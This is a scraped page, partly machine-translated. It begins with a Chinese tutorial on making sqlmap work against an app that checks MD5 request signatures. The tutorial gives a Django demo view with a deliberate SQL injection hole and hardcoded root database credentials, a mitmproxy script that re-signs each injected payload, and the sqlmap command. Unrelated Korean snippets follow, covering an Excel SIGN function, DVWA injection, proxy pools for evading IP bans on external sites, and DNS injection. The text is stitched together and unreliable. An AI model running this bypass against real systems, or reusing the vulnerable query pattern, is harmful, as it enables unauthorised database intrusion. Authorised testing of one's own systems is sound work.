sqlmap 처리 서명 암호화 아이디어
我对公司的APP进行测试的时候发现,我们是将所有的参数内容加上一个32位字符最后在进行MD5加密。由于APP处理的流程首先是验证sign是不是正确,如果验签失败,根本就进不去数据库,为了要使用SQLMAP对其进行测试,于是就写了一个代理数据的脚本,在拦截到数据包之后,对其参数内容和32字符进行加密替换。
注:该脚本适用于公司内部系统,因为能够知道加密的流程;或者能够拿到前端JS的加密方式。
首先我使用Django写了一个程序来模拟公司的系统,流程是获取POST的id和token,并加上自定义加密的字符,由于Django获取到数据是已经经过URLDECODE,所以我用了quote对参数id的内容进行URLENCODE,再进行MD5加密,最后验证请求过来的token是否和参数内容一致。
views.py from django.shortcuts import render from django.http import JsonResponse # Create your views here. import hashlib import MySQLdb import urllib from django.views.decorators.csrf import csrf_exempt @csrf_exempt def index(request): id = request.POST.get("id") token = request.POST.get("token") str = urllib.quote(id+"test") print(str) hl = hashlib.md5() hl.update(str) token1 = hl.hexdigest() print token1 if token == token1: db = MySQLdb.connect("localhost", "root", "123456", "testdb", charset='utf8') cursor = db.cursor() cursor.execute("select * from t_userinfo where id="+id) data = cursor.fetchone() print "Database version : %s " % data db.close() return JsonResponse({"msg":"verity ok"}) else: return JsonResponse({"msg":"verity error."}) models.py class userinfo(models.Model): name = models.CharField(max_length=100) age = models.CharField(max_length=100)
使用BP进行抓包,可以看到当验证正确和验证错误返回的状态。
使用SQLMAP进行测试,发现无法测试。于是我使用mitmproxy,mitmproxy是一个交互式的中间代理HTTP和HTTPS的控制台界面,具体详情可以看这里。
如果要修改的话,只修改wsproxy_request_handle函数,因为这个函数是拦截数据并且篡改数据的过程,其他的代码都是配置过程和运行过程,不用修改。
from mitmproxy.proxy.server import ProxyServer from mitmproxy import flow, controller from mitmproxy import flow, proxy, controller, options import hashlib import re def md5cr(str): hl = hashlib.md5() hl.update(str.encode(encoding='utf-8')) return hl.hexdigest() class WSProxy(flow.FlowMaster): def __init__(self, opts, server, state, unsave_data): super(WSProxy, self).__init__(opts, server, state) self.unsave_data = unsave_data def run(self): try: print("start") flow.FlowMaster.run(self) except KeyboardInterrupt: self.shutdown() @controller.handler def request(self, f): wsproxy_request_handle(f) @controller.handler def response(self, f): wsproxy_response_handle(f) # parser = ResponseParser(f) # insert_result(parser.parser_data()) def wsproxy_request_handle(flow): """wyproxy send data to server before processing""" try: data = flow.request.content.split("&") t = "" for i in data: if i.split("=")[0] != "token": t = t+i.split("=")[1] str = t+"test" sign = md5cr(str) print(str) data1 = re.match("(.*?)token=",flow.request.content).group() flow.request.content = data1+sign print(flow.request.content) except IndexError: pass def wsproxy_response_handle(flow): pass port = 8888 # mode = 'regular' #mode=regular opts = options.Options( listen_port=int(port), mode=mode, cadir="./ssl/", ) unsave_data = False config = proxy.ProxyConfig(opts) state = flow.State() server = ProxyServer(config) m = WSProxy(opts, server, state, unsave_data) m.run()
运行上面的脚本使用SQLMAP代理到上http://IP:8888上面,然后脚本会自动处理sqlmap的payload和生成对应的sign。
python sqlmap.py -r e:\\1.txt -p id --dbms=mysql --batch --proxy=http://192.168.1.240:8888
上面是生成payload和sign的过程,下面是我请求一个payload报错的过程。
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SIGN 기능은 Microsoft Excel에 내장된 매우 유용한 기능입니다. 이 기능을 사용하면 숫자의 부호를 알아낼 수 있습니다. 즉, 숫자가 양수인지 여부입니다. SIGN 함수는 숫자가 양수이면 1을 반환하고, 숫자가 음수이면 -1을, 숫자가 0이면 0을 반환합니다. 너무 당연하게 들리겠지만, 많은 숫자가 포함된 큰 열이 있고 모든 숫자의 부호를 찾고 싶다면 SIGN 함수를 사용하여 몇 초 안에 작업을 완료하는 것이 매우 유용합니다. 이 기사에서는 Excel 문서에서 SIGN 함수를 쉽게 사용하여 숫자의 부호를 계산하는 방법에 대한 3가지 방법을 설명합니다. 이 멋진 트릭을 익히는 방법을 알아보려면 계속 읽어보세요. 시작하다

sqlmap을 사용하여 dvwa에 대한 주입을 자동화하고, dvwa 수준을 낮게 설정하고, dvwa의 SQLInjection(SQLInjection(Blind))을 열고, 브라우저 디버깅을 열고, 사용자 ID를 입력하고 제출하고, 가로채는 요청을 봅니다. GET 요청임을 알 수 있습니다. URL은 "http://192.168.1.222:8089/dvwa/vulnerability/sqli/?id=1&Submit=Submit#"입니다. 테스트를 위해 salmap에 직접 넣고 다음을 사용합니다. u 명령 -u"http://192.168.1.22

0x00 개요 최근 sqlmap 인젝션 테스트를 하다가 이상한 현상이 발생했습니다. sqlmap 상위 버전에서는 인젝션을 감지할 수 있는데, 하위 버전에서는 인젝션을 감지할 수 있고, 이후에는 오탐이 아닌 데이터가 실행될 수 있습니다. sqlmap 소스코드를 비교 테스트하고 살펴보니 작은 구멍 두 개가 발견되었습니다. 0x01 시나리오 재현 주입 지점 형식: json..."whereparams":[{"name":"keyWord","value":"test"}]} 주입 가능한 매개 변수: valuesqlmap 명령: pythonsqlmap.py-rsqlpk.txt– 플러시 -session-vvsqlmapv1.2.11은 s를 주입할 수 없습니다.

1부: Sqlmap 사용 1.1 sqlmap 소개 1. sql 주입에 대한 몇 가지 기본 설명을 언급했지만 수동 주입은 매우 번거로운 작업입니다. 강력한 sql 주입 도구인 sqlmap을 사용하여 데이터를 얻을 수 있습니다. 2. sqlmap 소개 (1) # sqlmap은 데이터베이스에 연결된 서버와 SQL 인젝션 취약점을 자동으로 탐지하고 악용할 수 있는 오픈소스 침투 테스트 도구입니다. 매우 강력한 탐지 엔진, 다양한 기능을 갖춘 침투 테스터, 데이터베이스 지문 인식 및 대역 외 연결을 통한 명령 실행을 통한 기본 파일 시스템에 대한 액세스 기능을 갖추고 있습니다. 공식 웹사이트: sqlmap.org(2)#지원되는 데이터베이스: MySQL, Oracle, PostgreS

외부 웹사이트에 대한 침투 테스트가 필요하기 때문에 대부분의 웹사이트는 접속 빈도를 통제하고 있으며, 이 빈도를 초과하면 해당 IP는 바로 차단됩니다. 특히 SQLMAP이 실행 중인 경우에는 더욱 "아줌마 레드"가 되며 SQLMAP 실행이 완료되기 전에 오류가 보고되고 종료됩니다. 그래서 SQLMAP의 프록시 모드에 대해 연구하기 시작했습니다. SQLMAP에는 두 가지 프록시 모드가 있습니다. 하나는 일반 프록시(HTTP 프록시)이고 다른 하나는 어니언 프록시입니다. 원래는 일반 에이전트의 적용에 대해 쓰고 싶었지만 Baidu는 이 기사가 충분히 상세하다는 것을 보고 말도 안되는 이야기를 중단했습니다. Sqlmap 확장 - 외부 IP 프록시 풀 구현 어니언 프록시를 중심으로 살펴보겠습니다. 처음에는 어니언을 직접 인젝션할 때 "이모 레드" 리포트가 없었지만, 이후에는 침투하는 웹사이트가 많아졌습니다.

1. 서문 SQL 인젝션을 탐지하는 방법은 무엇입니까? 내 대답은 다음과 같습니다. 당사자 A가 보안을 수행할 때 SQL 주입 감지는 상대적으로 쉽습니다. 1) 오류 주입 감지. 2) 오탐률이 상대적으로 높으므로 부울 오류 보고서를 삽입하지 마세요. 3) 시간 기반의 시간 주입, 접점 운영 및 유지 관리를 수행하여 느린 로그 DB 기록, 모니터 수면 및 벤치마크 키워드 모니터링을 수행합니다. 스캔 작업의 ID 번호를 수면 시간의 소수점 자리에 추가하여 위치 지정을 용이하게 할 수 있습니다. (p.s. 이 방법으로 SQL 주입을 99% 찾아낼 수 있습니다.) 그래서 시간 기반의 시간 주입을 할 때 시간 오류를 매우 가혹하게 제한합니다. 하지만 @chengable은 t를 기반으로 Party B에서 보안 관련 작업을 수행하고 있습니다.

인터넷에는 sqlmap에 대한 DNS 주입 관련 기사가 너무 적습니다. 그들은 --dns-domain 매개변수를 간략하게 소개합니다. 관련 실제 기사가 모호하거나 한 획으로 언급되어 혼란스럽습니다(주로 부정직합니다. 핵심은 다음과 같습니다). 아직 빅 보스는 아닙니다). 그러다가 인터넷에 있는 방법들을 참고해서 다시 해봤습니다. 준비해야 할 것은 sqlmap 1개, 윈도우 블라인드 인젝션, 도메인네임 2개, 외부 네트워크 서버 1개이다. 한번은 뭔가를 하다가 타임블라인드 인젝션을 우연히 발견했는데, 마침 윈도우즈 머신이었는데, DNS 인젝션 방법이 생각나더군요. 시작하기 전에 sqlmap의 --sql-shell 명령을 사용하여 dns 주입 페이로드를 테스트할 계획입니다. 먼저 burpsuite로 이동합니다.

회사 APP를 테스트해보니 모든 매개변수 내용에 32비트 문자를 추가하고 최종적으로 MD5 암호화를 수행한 것으로 나타났습니다. APP 처리 과정에서는 먼저 서명이 맞는지 검증하기 때문에 서명 검증에 실패하면 아예 데이터베이스에 들어갈 수 없게 되므로 이를 테스트하기 위해 프록시 데이터에 대한 스크립트를 작성했습니다. 데이터 패킷의 매개변수 내용과 32자를 암호화하여 교체합니다. 참고: 이 스크립트는 암호화 프로세스를 알 수 있거나 프런트 엔드 JS의 암호화 방법을 얻을 수 있으므로 회사 내부 시스템에 적합합니다. 먼저 Django를 사용하여 회사 시스템을 시뮬레이션하는 프로그램을 작성했습니다. 프로세스는 POST ID와 토큰을 얻고 사용자 정의 암호화 단어를 추가하는 것이었습니다.
